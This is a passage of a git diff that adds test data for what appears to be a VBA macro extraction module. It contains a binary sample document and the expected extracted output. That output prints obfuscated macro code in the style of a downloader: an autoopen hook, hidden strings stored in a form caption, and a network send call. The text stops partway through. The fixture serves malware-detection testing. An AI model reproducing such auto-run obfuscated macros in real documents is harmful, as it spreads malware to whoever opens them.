z1<#(E0d{zFsV;5bXe;xiiG5$ot&&&+MZBj;3oQyUMakS8Qcs@(4t)>l|2DQInLp~=~5MWg2-1l z>BTv%&MvGofNe6%yx<=*HQvx|cfP_Eh`C>|G3S3uF^YyZlTv&i19&)cvS$phfdhhm zZ#7Ziuj}ejP2rgq#IZ%*_g^j_Ue*P2gJzP6M>Kj8Ng)&_r6}LErsg>GkdP7$f7+Mp zxh+OKISHXOCsH`3p<&@3CIk0~srEzf7$4N4U$7{99XZ?xXYw8^^Z7}gvR5C0^A|Y_ z>Qtar$gdH9xLhfs*;dGJDmhQKHs9(j{`GeNnjiL^XV~yP%kLy-o|lCFVV#OQIf*Zm z-JLX|en!Fvj8-CqF#XHy)Ayq=5A!3^3xGQ`PKMX7Ft2n3EbO7V0zYuKUK!)sd5hgT z$t(Bv*<${gz%tNvzrITMUgrj&Dg|cGW&F49caX76D5 zK5;*2RxdFkznG5)IrDN;C&BUAf1NBwen193y?K;BT)uRS+1Nhk<#M@Lo?puG!i)lq z==T*u+**Y$Be0z_O1pNfIM*)f7*)bm%fYTusavX)1lnWpP^n9z$?71ZzFAlFo$m;U zTIFr06&V<<++b7HpM{>W_PpwSlBSg^#~w_JEFK7aS(a!pHY=&c)|;5Q^>wX5jDi=4 zzcWU8NqgODeZny+hh>530{XY7#QLbQDCGCPpt^VZnuh)4v257m6-n0MSy$=X;+=o??fu~o`YnUvZXyD z_!p48kyrtQ&@O=vIs7DFKI*aDd%oThqXxa@A3UK)Uv$jXC|b(RFDC}eY89Fw1aJgZ z=6QXDOEatu$(1u;uS@HhP<-cLV2T}Mt{n=l(K7H^s5Cvs!%vj07k zb^E~+STXNXq+pw@b^JCfutj6wz>YDNyl$2L(o4B` zd}w@|aOgOzi}>B21+!diswEJZOI6x^sN_~^!x=Go-UxKPHm$#CIK@Rys`$f@^Wx`Y z`t{^lMp|PRIlMA8AfR$&v^MX~o1JmwHiO-3T1V>g@op$|Rn;PP(8c5Kv&?Txz{-ff z{lepVV*S-OkeY*1fe3$;XK`eOm;>^q zc-2YYkTlt%d@Xgh5^)^wpmj_cY#ui&2jS`B@|T3!D_Cl|~HbykIO ztdZp%o>k&o8Str}udkl>Y&t+==nA*){3fsmbP%<8S1oqLTFP@^a(~>=;W`2_5Le zZ<14CVL;wKQ}TsjiNW=WkQI5vaJL$<@Q8t|xQ~YLPZlfTlTqPc7-rx2^CPdM zPd~N2<*2Se>rk$1VF@j->4H^*s9s{&Hq<^O4Gb86gH)f)C)nETkIx!oCaSI@IAz_~ zo{56=2gGeWlfTUeC{)s`3xAf&!sQDV7l&8Mx6|aKSRYPU3-fDho!A{?>Yi5LRpvhE z$$a<9FDsd<_|Hvms%Snecn*|$##TQ5B^0j~E-5pcxQpseX@vEpo-dUp$C!H+$IGOE zrYxTd3!N@8yZ%-DyacYE`|g(sPGnb1{=ooHgF|G6T}7X`DCY|rO#52xyq9~w@b^Zr z_SV;PM;9b>e_DF?&u$4csKoQMQBl$_W=6EF|&Uug(# z;Ca^<`LMCKiLAthi@b03eF;(f05Z>f)7%7^%oBa`!9Q%n{C7y*qg$g7^pez8(rT&C zuKE}dRP6c^eL&d2eXVvH8&*UdKGASn>Fg=D0h2kH)mf!^W)EF-$!;kjDWGclh0#&M ztH#_o#G7lS4nFQ3$3K`5iIX?hvK)>~6yLyG@cXAv%49V; zn0@?O^5OW2qsvgrKqa4Xhu5TN37&`juZyQ;oh_FQYLI!-@DKibsSfXf?TLxszAZOF zJkwkDDUkHRT)2DGarcJWdFjFyC7%cfO@G-@1fnM2Bkm|Iu_noqsP4Bw=dVfb&s@WO ze_)OCsSCZW;}!e!H#`K)U_8t>`94e-<}bWU!u$3b^s4=_gen?hDTK29WyoIwiiH=6lR z&HRmB#>&+wI}gWreWBqtS|X(fR(6!<9OhiUT?udr;5F25x2}czT>c*I(r!9sXO+yI zAgNp5@#jm^%^F8D^6y8^OZtVMTxbnTZ8LL?CB9p&q33slY2!D@8zlcqja!}USW&*3 zXi${D>>9N9i~n+l^+5Si5I%&0Zu~y;M=Qt4&vn5N0-gn&ae9wBw6Bv0J1g7PE4m9u zgn=VEN_li6W^%CF>e)F5-ls;h6EDHAK(e%_8yJ>c$bxxfhX1G-?IpQudw{BDp+nbX z3EE6|CZ)|-id7@!!0&eN6r29`esf$hLlWcH_%4Ednf z6sD=ddOgX-2i!aT^DH1K&QSwraq9Odr77S`677&x-6ZG5Jm4e{@^Z3OE zIxzi2fI1a3khyrOA?o+#@*Ke8&r8434~KAEft-HvA^hb4A4ODc8{HVX@K(w_@iyhz zM&MTmu}+{s@XNt74soxk05?8mB5}tRB02L63Fx5i`@15_gUW38v2DjFI58*FX?1Sq zD^028u=NDed8sKr9RbN~JZiPNL;mYWt2Iu0Fw-<3 zuNca{_4huH%HI?S2HqAtS585L-&)BlCn)sM6rd27z#N8&#kpl<24avuS?N~8%ib|x zhErhGr7oY}_c!X4KX;Nbe-?KC(9Bw@kD?sK-F26h4}mC1qUovDlIS!qt+>0;$#ebY zQ!M5644w7K2r{ml&QLw7UGiRauphZgnQmtGIrC7OqnqUKX!pS(L?`ncY>;{ECU_5B z`btH%C8Z`3!B3cAc3qV-rSl>=ad6GF!s$iyomxgW2d$d>Znv1U)50eF)7o-!)Ra5V z+GxZp_jl3^8W*b>XvKkU?$aUid>1AHoQ^StsG2W-?Np-(G34Vh{+3dPo`>x;>Q4g0 zF(x1#I>h%2Vm8D!0xw3`dvl6tDo7Ty62pOK$fuS6Cv5s}1(T&lDb1{Ou8btVx%1`= z&5D@HO)V#9oO14=(dX>?UtYo)oG4((7wk72k1_kbT#fVBkW!U7vQy|wnBK0zxY;Jd zPT8ar50~hSg~h=OHkidp`jNW5KxDXE>qu2ajF*`8C^yB|s?lk0o8E@}Z@Ue*xir8d zS&e~5ibB)Lvxju(mP%&etnmNtt!LL}9G*U=8ave-<;fmwu2X@S~UU(Ym{iG&jVUS4_@C%CZG>9SX|F8(q^f< z^hlg9<=6teY9%MJamj#+=?f@UhsS}Pk@o6TC{lmcK zUirGx*aQOq=hoJ^grHeLkB`kl?v@C#emp2s=VD%L1ent#0-T^9nN?zmF2{e~A5U#D zuYR31dA3urV4^*b>Ef>ilIT|gJ$I>j_*%e;qk|sa1#Ivm_NURFcIx4h-hO1V|4{I* z<@qf^91|_AEdaE->$G|}&rS969eO&CiLDtxlLI|*rz-W;GJgo|G-vnlaKF0;G;Qnh zxnwg^UWCUT8vYYzUaFy1;ok+Gg%){Qk~4To!t~1KSGz8j|B54>b21c+#~7!%siX%F z4+VVHxiz*gvNX+QqFBq&-P=qwg%AbY!Wk}LFB$y368-qa%%CcfX&p4LeD=7#ZzPg`@6vi(X4+Z$$om^6HRotqnKt+CB!1ug(PM+W zws~TM=dSlspc*iLiGG>u0RVu|8L;aUs256Mzyd4WIOsT|$tleSB(2f+xJJ)iyH5=; zyh6XWndpL|k>f!t=g1_y!{dEtW>@J-xD6m73lj%+Z!l?n3~V^?dNtyPlhCDzpB1P>dNo*OCf5Sa*ym% zrlBEIFWzfYqn`UD5h_#zR!z zc1z;lx~Wq`?k3Mgj!Z=M?M^k!N6=-YVC@fcWL)|*!38l)lctX@Xkffj z-JjSzUMOZ0*F@tx!56YU45P(f+yWClieF-1$aR zx~#6+0oMI6Cj7#mwKUAX0H82sC-cL`_lU{o#`emYgAQJW=roJR6RTBz#(cAz>@;T9rL)}T|r8bnYuh(0t#8W3cZIhYpZS(~yO7hi* zDC6!oN&;D*v^!JqGVu%vlT5n0d%9K?<`O|kaKA+a(_lD${j#$7S^(TER>)P9521UK zE2S_S4G9q%A!0=jt6Ufil_r8~wpSXf=l{TvJ5FnZM!DzQBS#J~Z?Iu`OY7ag7E3gg zKcavx_qlee+Nbq8gK-*GYcu#hHgUy{!Y%cS7TJ4yA0dHScLa#*vsY7bDV(=j;UT71 zCCS@2e8cGkcMjw8zVc1h{1`JeHl6vP$@_*kyCCj_F^$OLs-7A5!@wK-C9{T9{G{Pt zacC#c_1N+eUrYYOaY&fE|APOZ(p`y+~OY-!yO)Hy|)V+>=rm?SG_idpBoZS;c)ZVdA=;_CAX*i@e@ zTqGCT%_BL15bj>^HCB&*XH#tCdGoSH4?cpOi;CL7vig1PcO)gmr18_8AlT0=|#DK!8XIp(mux8^8a5Z#`I<$=q4VOlIyqbI#uToSUIG@W!-S zdaAiE@}BY6ptYI-*W}~*RG)RxvVmYx=P8fs&A_E1gfz9L73kFVxxmLug&h*E1c9!b z?md90GRwkl%tHXXeSN zrP8u9VGmUWX)z2u={k$VZK!otNiZRIovrNQOs`K9scQ+#)~#enJEX-nIyr4F>wKS) zQo!B?BzVU-Ao_5533uv2+L1;_yR?MrHn&HH6obfF?NO1ju;S|l6f17sG zK%&O``_YA?X(oWY6M8^nB%L+Us3VV5G7Xw~aMN&)B3t-8dhigWaagbVxwY~E!4g4h9iZ2?7hB&)tBb-U{D=VNd7&M<-jReO zPD@y`Qt4d+P>r0m4$_awLHoxfQ|I|HPRGSFmeAe58k1S|u%JT&_Q!&XL2jR20u2{= z!2_v03KhQk%Du9!_(0rwYHnpqA{s7>FNL76iXin9$UgVLQ>T7u^S+acXP42gQShGc zZ@nzmn-PF_(PxM}_Vr%zp1cD~PAjcydaU(r^LR^6?cRFo)STZ*Agl->j$GRJ+BQb zsqdv35TZXBK=7JHJfCs=Xr{^qW?&OdZFJi%<^=UEz58aZNvCbe9JnVa3@zTj2R+ zwSpyhy%szW-q!8z2B@96>#d1*846`Bm!Y`&ALK>Eu`Aw3Y}H39A}nqhtPvZXA1##y z$Ihd9$eW~g$`|t{ANsDg!$?@m82@|=Z}lWV`l8abfVq92YkqfE`9+hL^#?y^@X%B# zL@hZJF3(Zc7f`6+&DX(V>X`J-+!>ZlSs(8J16i1Ma$x2UC!gD>PTyiRq>0QOPwZ>+SKVDNz^j#B{i0w;$ow+(YQ*P*0YoU8 z4OQG3Aag^CpLKiW?@rD++s{jIme}g9V^1NM2-!shDB)S*W}cPE$=3xTx?qI#fS}ViBA^8UdiX-j;l#Whjc&Pf?jqo><(Bt8a*kp zud{LDVAsVPKXlq7?6mZHoi>GS9a{Zmjwx?YYV>n1YA_49YCArv+P!9a_9ryxvdgO` zMYDF-SkdF7KprBQtpd|)THYfF|aYXV-gz9FKw z^CmmM%jw=(I7}6)mJJZc>%}lyUlKiF+|WGaP6;U!C$U&PvbCjU-{2dpv`t!6%n{yJ zTkDLy=ga;kH{xsMJM+5JHS7{L8&UhNU*B;L80(6iD>k~&q9>6aTCbKEyNi&W!CO3JLQJ3Wo6Q-?3(4aPfwv~n ze=(uenhbCIhe>NQcvsAQB``jR`rYpeb6S|oQS$HrF5t7F4qTrrwG*!Bc%z~aY2iel>+&5Ecxd1f>!t-K zaijc#tLqm}rfYxSVX=1PAsRkOI!at>4tN}N3;X*ZvaD$BHuE1@`?33MwzUo6V}GsP z;dLrQS&?6G>LXT0T>>b9ZPYMF>HV`NtCoBdZ+@g_$U0WD$t!*Id`+vCd;T`oqT2J# z?#sVIYZ(^OK4LXqE$~45EpWoe%-qSp!$Z1xtgLTcG+Kh4B-%4hT6}9gEXDnZa~5Nm zeBzzU2*y=h?yD2Xv+gL_QI%Oz06*w>cff!XL2q3U<`%p%bJfclp`iZs+ifU*eZpQN z=)5)NE(Kp6jlfwR!(BOWC3~mgo&KUAaCI;Xzv+qIv9B2c-Q4vlJR~IRdjaJmbYK2* z7lDPwjO}^s9|mnVPJ6a-Sd&YXUU8IIwIoWTTc;W&cz%Co!q$e z88ZrJk($$sm5ccd%hv&TrJ#mbM%Q4=6d)WlJk(9~wN~z_)w8U}0VgcY;|wX_m6tHckZZIgY9ewwYrn0jGhU+=Hi#| z9D^a3!PIKP;BaKo! z)S+EMW&T@|PH%#ZL(x*QAl4P_BZMm^N;#+m&&4O7hEyP~F}X$5P+EZniH+V`TIM)r z9|_JbTXxDskeV8FZy|0k6rk22M+Q&Qe2-g@KLVQ6Xck0tq+5%1^nJ3#aWMz3e*Yin zWVn}FQ@$eM;KD1r{UdC`XQ-F&%$YMQSz>ef?1bSLFDwVrW=;_}ZDgsx^l2 z$ETsbPjz?7$K*#Hi;hB_8Dc7ZCP+Ebg~)cY+B{92@*73U&@%IkblnQmDOkOT#IoW& zBgkfH@7^A_f4WOCEpz*0TJf$^-2VG&uD^aaxl(3 z;@MZJ3;HrdV;@HR)~iC6?Xo#3}iLOceYd-#{Vw%(m#UHp+q)(3aCYS9GS< zG@c1iI$`~z@)|ji&fsO+<Y-BS8jlTPIHi96JFUtNa9N)?N#wwgJ@sz? z^YwMf5pdtpg`Lf;w8pv2d$CFMMD!AOpDQLZ$fZk^g8!`w`v2)Qpqnq?5)XLCxkK(@ z&}TqrKXYcAho+N{JD!rAQ=Zols9=<=HmYxHS%B1X%Ok*&HWMy4QzhRnFs|sSSP>+( zZmY_EbW5Ck`*y~ZN;U}a9^t<~CC?0yn-bM4qc}sUU??I}pN5>+%8f2#fw1U0?Wm|Y2s_!)%4|S?*i6z)W0LMdFd5F48 z?0Et%9_<;EI*pIaAX|U!zn#ZSO2zsPJY4lYH)Zc!zbkMp~D@6GQeXdw%7`f+wy z^mlx{BLO2%aRHw_R_2Z66w6>bKTau(`4{{3K*e2wo0sUX*# zg^M;t>e(Ijbs(tE(evy{Qpyj#tpN5T;axtlqQntyr8hj%RpK(nR-U)_e?aK%Jzqw+&+wSg-Hb*Es4O% zw9|21t7`3lxInF~psPn-_7$T!d(XKq*Hu9F#O=OTa4*^w_9Zq6xxvaR#O95Qj{vAy z^P39Yk34EbXd1;Fd+ofKF#xPiB{MhxzJsrkP^Cv_S7wMS#r;<^EsHngjJgW%Y@p$X z9IEryUSL@dUxDYscP8JnT&D>hPriBTmAO)J)d>zGJq*tf3B>}U+ zS$2EZwVPJb5`!`->4gi7R*?x>^GP?S^y}`+i#P$@yYL z9`P50ioAJJS!*l)==P+BGU!5=cG4?ZWsF%})(>>KXpmE_?3|vjk^AHDV8vynfyC{f zQ=?g8@JgJXTuc$w)HFKM&-mmzdZF;S=2PdeA4Uvq%hZ=N^SZ2(6pu6Xo6ISa5n~%l zJV6XK2GFafIuAmA6*cP`54giRjMt3gN5dxRK1jt^B@_r6@R{qgyo?|Cl31FXB!9zs z234qRZug}4M^9h5$&P6X@<|5!)ze~|zR{Em)^^$T1=+)XDEx{3?<<;Rr^^+k*J%Dfd;=*G(MJ?%z!jT2$DWmavEc-msZgHlNZHQieHhr{ zh0G+PepeN=NE4sTy@>{Q8Z4@G;xw$-hf0OifUqwHX4 z)DpK{1Y>@(GJ*xD4v?XsyOZ(Y+A02N*zvun7*qVV%IK%8ZdS&^P5af?uya$xAWbDf z_G?$n38d!b&M&CmKkw%@irm6{@JY4Y#n8Uukj)>FEcsMX+NAjC8b?iX4f-Gw>kVQq zRJv`BzD(k*F3NJZenGV`etZX6^=NKuvIrJqqR|D;QXSM_A3|kPo~i@^B*4OXtQ27O zz842VN|CVs>9%E(D*!_m($r%Pjr?fKRqZuixWlL=^-d2Y8z|yh59$BZs_pus8k^0-98Sx*wZc z&v+Q)@TBmg_U*9SCupgZ3GzF#`#pv?z(8X5`C*Z>^K6{~3C5bGIQ8%f2v@aiEG zINk>WnpY>-2;;xQlefag>O7MQLY;)uV_#P`8*2q}HSWp;chS zm-g-~alCy8DIh3D*fZMo{CJHahkZ=*FMc)vaP?e#zckwVAbOwXkWq)Yr@EyAVj!`W zA6`QODWik?7G-%<32NKEkIm72d^UV$mXb@Tk4NG(o@}jFFWj?(&^nN}Hbb7v`wZoB z^A79`xSoKp#iPwsV_buylWLUT2mWHkEY(*;1+kHt(w%N>aOj<-=@US7JF;k{85&N? zUxLH^9-|iGNgRyNV~A%|RD^z=MB`pkVr$B`?hYf|Q!5tQMpl7|V*mSI2g@hPua+}> zL2Nw6Gb3~c|M&UdfiF+ETO_>CT(e4w`>htMV)eJjL0Q;+=U#*F>+Egf7iVFqr~A8f zwE9CIMSKRmNukBFt8jBx$D!Jyr5fGy2eb45d1<5}(Eab!Ra*W2UmGsn_9q`);JQ{r zfqeVmW&1twQiXM6MhdALYN-_=7Uj<6hFAq3ILbYgdu#Y%!CS=#UkITg;EgO+O>o%^ zy1KeeZ``BQi!`OoGI~5nG2$dPvD%cfLOz7{&N1E@X1wHaa|gb7aC3M4naSDBOyp5JSPu&1R|jwoZlO_Z5^72vGT@~U|v zXwNs_{w^e-%;p(K($jBoznY&{DXk=lumy&MFfCHkY9*esXFXSn+db|`WlCEB9i7xh zD(Jvynkb3a_P*ki8Vod9xx&FWemU_;ZrZk5)Bgzjm>`t(t2ouG~CAipjI_+0v&DhS& zU>CI8yB#o@^L#M(>;&&x(T&^B0K2TI{!_7I8}^f|Xlx|Ym>L{}SiEC2JKs;Ne-`Kx z4`pvC1dXU8T|X_mVkuTNf%c2^YR^~5?!!<`#vGrDiwan8qrz;JR?mP^a5X^G0XdcC ze2mdWsfAEb>IK9({F-o-vpfM~{zG~JU9>rLYImFP(xn8A@;YidHRV_f;hH3CNDT)2 z#?OBzO&ZCtpq&;JQ!Z{UgS6hrrW(dRCahyOrx}K^_dmaPhSwg0-c`bH*pEZ{wGMG) z9;li@?sEcFk7f&5D@V^Cr&HVng6}U3t{g564$;q=M@HA1wj8D-8Q*k{PYt>JS{q#p zJ#4TabT>1}YTH3pJB{^PZgyY>IT&Zf=Bq1NAGl5)*J0O9PUvL}XQ-H6rikP6ZmVP5&LP zADKzP9fht?eEj;0&ZCKh9>OQ8d2ngwHb1=nP`hae-pcmkc?P01Gq_}Fs$x{yaw@ho znaf)F^zZ|Cs~M_!aPh=99Zpwb>`zeKn=@p0ph3<*Fd)NDi!HkvHX#<8k=0AN_lhY_ zXeG-;dlq4td!4`ST0dQFe;U|iL1<1YZ~bMIn7&m0;7eY|p4d`srsclaR-wf7tPz1#Qx}gx?2PJ#D8K% zuoTp${W;z=LJ`_l6%h1x<=i!0eyKy%Do2&R^0?lHo;-}P6^gPDOVyxBH+M1OpABM| zAA&)E;R2tyg6yjSFu)eshps3ex2@pS)}X6Fi)Kb=ZwxwNsxc@ejw^xnX2Y(nBoOK{jQ65BvVoh$;L|jk19wj6=mfVM ztQQUq%VRwqTy+vqvaoifs2#fos<{O{3P;UZhw&K}6UvFqw8(Q5{A0v9K0tGuqerSr zRu(AV&nNsyg7S1t5ebpo%ar;G)f3UAAAd%EKEv0QP0A~6a_mC-uO3>V*hvb$6aP5!ifWU*1h%wG??@_ZR%H=Q z!BH6Q{WiMJexglrkRQ&2n8R?md}8Gtt``jv2E{$~!NhP{9R-OLSNmEy|EJQ>c6Z9S zD;>uT6zau9>^)t~(cl>c2|umsIXzSGAqSr&52{fnIW~^0O*f%C0-i@%=e-YzmEX3r zpbam!n!;-Mq5LM-HLiPSUhB(Ie5M=c765o}$T8sQ-<7B;a%eU{J|$B^LJT1O)%Lk} z1V)5zc)Tbq_zs=sOc^n*V;L(vIyRc)Q?6L8FuBviU*Q!NlfgWZO z*skS#(VwF@TnEv??xONHZE9^Q%?$3RI+a^MX#IDRN_akXXokzknxVu-((~;F6jIv- zp`m4%O-G5QAmMSp)s?L@6cm!0RnM*2{u=NU65E8pxfrC1FXhN4vOghvUlu^WDx9}+ zG;b6jv5MDU#Blvp^rt-vbmBd1>T8jF{|UG4mr2ZTFi&6wl|o_l;;d%36Vd$lRO!T7fP2aV<#Ozp50jBg% zN94=?Z-4*4{dsWv?PEei0OhNzTW|-`neacUDDQmyJCF%N4_=0ooot&x>)9|xmuj49Na^z-@aVnGY~E6ixDcOK z+wGs$SHtf-MX`5ayEgr$SqIwho{ecBfqVkmT4}9u%|9tH&Q{NQvUf7Dk6tsoZx=aj z6jyOWcDDNO{cm$k_+sY=N-$B-vi-Cy=UCYAU-+OHn$G-@XY%uJpAz>uTOQ^>c35+Y z*IOPdRnP{Q+-h|nK%+E*8ycU9)mP$|tW5b%?zc&5z64FDftfU;^Q+|tyef^1&RVj6 z%d7-tQdi`8ZV1JTT#Hm6eZa18($o-C4Yez@tKEH5>#2fzb|tVPD=(gr4hYo0dGP9b z_}cFmbJ}0aL5*r4O7QTgWT=01%}0H|pxe&;SA@X|Ji+1|RwTeSW!uGz%pAR>?XhNN zM7vb_LZ$5EdSX#{Vk_N=J4+viKnrB?Aq(?IBt%JN?-^JbZeL-&RyQhw%if5udTi`G zSPn~hlQSuomT^eDJg8*yQEk|SLS#z${gmCdwqBht;T%OGI^}pars#bAk>&Pt=JQ?s z%N*85A0~J96G`pvT4+w?SD}YxQ0$KfiEVA(!CR0s<{~{Pw4%rtLPa%*Hmj58TdI?^1-j ziuXRTqdu6Va=-ve)VGIzt3#*?%?&gw)t64kRPkD?=XqV`ha1lW_u*G zeXm-)D(o8%F=ee9xTE{5jFT^!Z(IfJ%+dz(U185F^fu-%cW~51z@Liz#9V(TX7$21 zFe(n@@@(Jp1xeG_c3E0zICl#u{yu>pwdL4aeB$mIS99-M#2lDi`Y+n2jQt*e{ z(meyyR(Y2p&5XTL)wlesYW>I1qsqxm5ftl&WCXyldetPJaJbR+qN6h` z=%(0@;trSEr-ISCo%bngHjm6*5ztw*ux~wuH z3ykHme3roRjmo{)Tz zvypK>c-7rnr7|!u)ZvJp0i@$TkkYp!vdpqB=FJ zdr!<^r8${A&BJ;II_c@ycysfw!6IC#N4Pk686hK@9jp}-a>AP@+s=cqEBS};xliBo zeXu4)!sHWyAKS2g(KJFm%VG0kNFjHH74b(N#y?Hv{-j68X*k64 zzN<}y&yLx8-bQdZ>Mh^7lWOQfw49xNvZ;!lDHVJi)OmRORa#$_hoyF1*rPyfU5<)iUqexbgxR(+m8TvX+G&-baHq#+~wJ*z)D2kkyh4u889B~nXscgEB;9v04>nz296 z&qY5w`|@u3jng=SQ_HAaDL-5~wm|pFQO#j>R07& z^Hq*bw|2>CZ4i-o=XlAp7U!~<6Q!&-{9Mw+do@SOBQk~0T9@1`+`9o5xTtOVp`plE zby4PRJs%f20gM85dToYW-n(Lz3zHN}!EgcvIzB~VkDnn@GNoW_Jbyn}pw3l|7d4e!^s`v-TaAcgZFE zP~}JP@1Vw__Up)+$=ZrgAN3}f)1%v!EqJ}vrZ#|FTRVAjuq&ta$jPay0d3l3LYKp| z{u5DuI@6qJ&$?BPfdc_e{i@CjZ_yb6U5zw4J-0gm9_`8qhn&l(k~LqqM4u-zifWTQ zOTHBA@C=3+(RmSN4Hn+*=dUAkOM4zxG8iB3+*iw&Q+a6G{-|9M=ToI~eN@UFj4d+# z)Sv=C2i|(im@~^)vK8IP^-?G(2+@T(eBjHfvj{|H>^OgwD0Og<5A+E*!Gl|W8(?FA z9+J7`I%vZ0x0AIYyn}4XA*_~#QDw} zd*V4DJl|9=@cvOTMJaOfcebD(hu6*+1y{;zWgiJ?K{YcB3z|F8XV0qHnXLu;=S5 z6jy!>ukANeZ7=s%i#Y^ENCYzyJvMwK<%;U1;S^-&?e7n+Q5a|pG{c^Fv?k`ZPlb?}QJ%@=u zcuoMbHNc?__bQ4Yl#p@^L6lhhw z({5G%YH&#g^^(Hl*=mUu?-c-N^6mygn3U{-JIM$u3~*A@)4{h-j~Jgywf5O99}dR_ zjjsF7p@WnLzuMFsadMoua3)?Cd;TRY31u}rl2AxAcQ1(2ItAEuL2t6VUxi2TwKz7o zR{Da~i(RC)ljO(8J3;6~-}m;(800+T?ZtHTBE+Y=2h1vg{kf;kmHVD%HPrjhx1Xg( z!2i0}2E0fJWZFTh7jWf_b0k~!tDIq_4Y+PF#%zIH5zXCpu;V5191!^~-4*i85KLSc zzjJE|rHJ~YD&w})@?-YORbf*a8Y)pkzM*k)w+2g$zg7`_Gz{HE2IvzgV5wT%t$b?6 z%BnjqAGYtoff5~=UMX@x8BI>^}L{V^us5|wgsnE6smi?k) zwUOV}$ba1>7#;GUlG)`y%hOiD@5!VYqY=IB{9bm7yC(mRTjWW;lb&Ft!sKyKzzo<71ASf>)*$B>tv%ZmbQ#%UA5*8 zAFPVJ+BFJ_qx|da&Ks|k%JNp#(*O9e7NNHS zOpLZ|@LVY47Gv#E(K;vDf?YY*el{F)lb1#3yR=BmP5z8*u3h%ecgB=O!~~=4;QBVY zb<88@KAveU%8{<~7%2Z*(;bu89+W?S!N{ujBiE_J6E&G;SOg@T@{h zFLQwTd}C2VMCs}2xFd2&R!idKAf%pu&Y()gyz`kC$8cGGN6}HH$8JC3)Id{<8*dCe zESNS@=GOSMSH>O8D^D$5FIm2ueIMV{yr_;E?R-tin0;8@zY7uxJxc#n1C~9O!>FT4 z>^uKS-_f40!F7`G@mvnV@6}`)T|;&ADCD6NR>Ey?^QYcXH}BmVLKM--kF z+!Ty|%KFlC6K`jVjxp$*0NaL5-AZ8zLkICa-*hVwqi`w2rYKDaOrH@dT}QIgsIQYs z|DSq*m>P3n_I{3OJ(Hx>o`yM0rh)9p|7wIYXnnhf0-hFx78c1ML-0Gmv>EVcl9%=b z`pE4&_YsEgufbm@P)`Xua%SC@pcF@4*Ofe(8}L?n1@-b1Wv)d;*jRqiRiw6x^-X`l zI1G9u{dW9p2tW-WZ8xSKfpq|20M*;zJXT^b7K^5teeEvwFM!Lk1#?|)Hw@@U4)A!D z#qL_?UdwEd|Hgla`ttD$wHNudbzEl4$!PGI+LwQNy@^++156hP8c%jZp6zFxvnl<0 z$qG3gMYx}*)}~x`GiWp*B_bBLKs3yWs4m=CQ`CBgW<|yKSd7{45*jpdgFYxlp3-dPIQoUl|Fvy3++V4+A z+v;~|IF}@H$eMIs%fNs3Ua1&SE*0K@DU&B=jv5fbxJYCroBBLM#TAB9B$oTZZ@V>OYbW` zxLh!o^OZg6G2;MlZ`M=cJs@Wd!Y@mAO*A-GQ9Po&!jpv!b{{kbcSTTxM$F#V$A7Ci zUH({@GSf;?0y~n^eQ{I$Dp)UW%V&9w@pkV=3X*NDhr#!CoRg)g0N-3E1)c1AW zyZ@1P|LK_iX_>T9@uYCeGW7)z=lLJdCmA?V^Txnsz|p;-{7{lJ={tP4oJ{A&Pc7*N zTB#INd*r72D=+E^BKrH!*+Xi<89SwcchzR#1v}(DsVn$rNwLy1dGf1@&^0V41iHgep+I zwM*}KQsC|+h$aEpeekdoUrUo8CNW?rpfENx$~ujUlPmbGKFaMFib;)J8-*i*2s zR>vsI)55_=cQq<|UU8h{JgBW5anm4)Y`psxhfSS4$Y^FE-P29$tUvPVtQIhCVaRII zi2YgCl3-VSbvmFRK-@cx4U1m;9)+d2TQHPfptslcta*d$rpptSQz{ae4;Q}nO?NH6 zG3Sv=-SMsleSw9`;MK!jc#Qh5z2WDDzjtU$xrfn>d!mBEoCBVRang6x~9l-2_tKdGq ze_IndPVw>p8S+&7#L3I_m+9!}&d`0atuvEVZ%Phpp`$D5I7z1lw*KG0{Lp{zq-10z z?Osb-%h<^(+?BSqvXiz2H|6ZCB&F}jDo9DnO3KMvy|#LNM?p?OQd;hgq?C-p9XVNf iX)9}aSvwhdafi20wHZ$T`>GS*zdN{I0S`t;_kRGZ%ZDrg literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out new file mode 100644 index 00000000..ed17a0dd --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out @@ -0,0 +1,268 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + Sub autoopen() + Call AddSensors + End Sub + + + - name: "UserForm1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "UserForm1" + Attribute VB_Base = "0{CFED7DD4-70B3-4500-991E-8D2A9E25237B}{902520CF-EBFE-40D2-A478-42D7F0823E64}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = False + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = False + + - name: "Module1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module1" + Public MapsInitialized As Boolean + Public mDBname As String + Public MapInit As Boolean + Public KogdaGe_1 As Object + Public KogdaGe_2 As Object + Public KogdaGe_3 As Object + Public KogdaGe_4 As String + Public KogdaGe_5 As String + Public KogdaGe_6 As Object + Public DrinkSun() As String + + Public Sub CheckMaps() + Dim objStors As String + Dim objStor As Variant + KogdaGe_1.Send + Dim NewList As String + Dim DoReset As Boolean + Dim LP As Long + KogdaGe_4 = KogdaGe_3(DrinkSun(6)) + GoTo ErrHandler + objS.tors.Load , , , , , True + For Each objStor In objSt.ors + NewLi.st.Add objStor.MapID + Next + If Not MapInit Then + MapInit = True + DoReset = True + Else + If MapL.ist.Count <> NewLi.st.Count Then + DoReset = True + Set MapL.ist = NewList + Else + For LP = 1 To MapLi.st.Count + If MapL.ist.ID(LP) <> NewLi.st.ID(LP) Then + DoReset = True + Set MapL.ist = Ne.w.List + Exit For + End If + Next LP + End If + End If + If DoReset Then + BM.Reset + MapsInitialized = False + End If + Set NewLi.st = Nothing + Set objSt.ors = Nothing + Set objSt.or = Nothing + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + KogdaGe_5 = KogdaGe_4 + Replace(DrinkSun(12), "t", "e") + ConnectMaps + End Sub + Public Sub AddSensors() + Dim Col As String + Dim Obj As String + DrinkSun = Split(UserForm1.Label1.Caption, "/") + 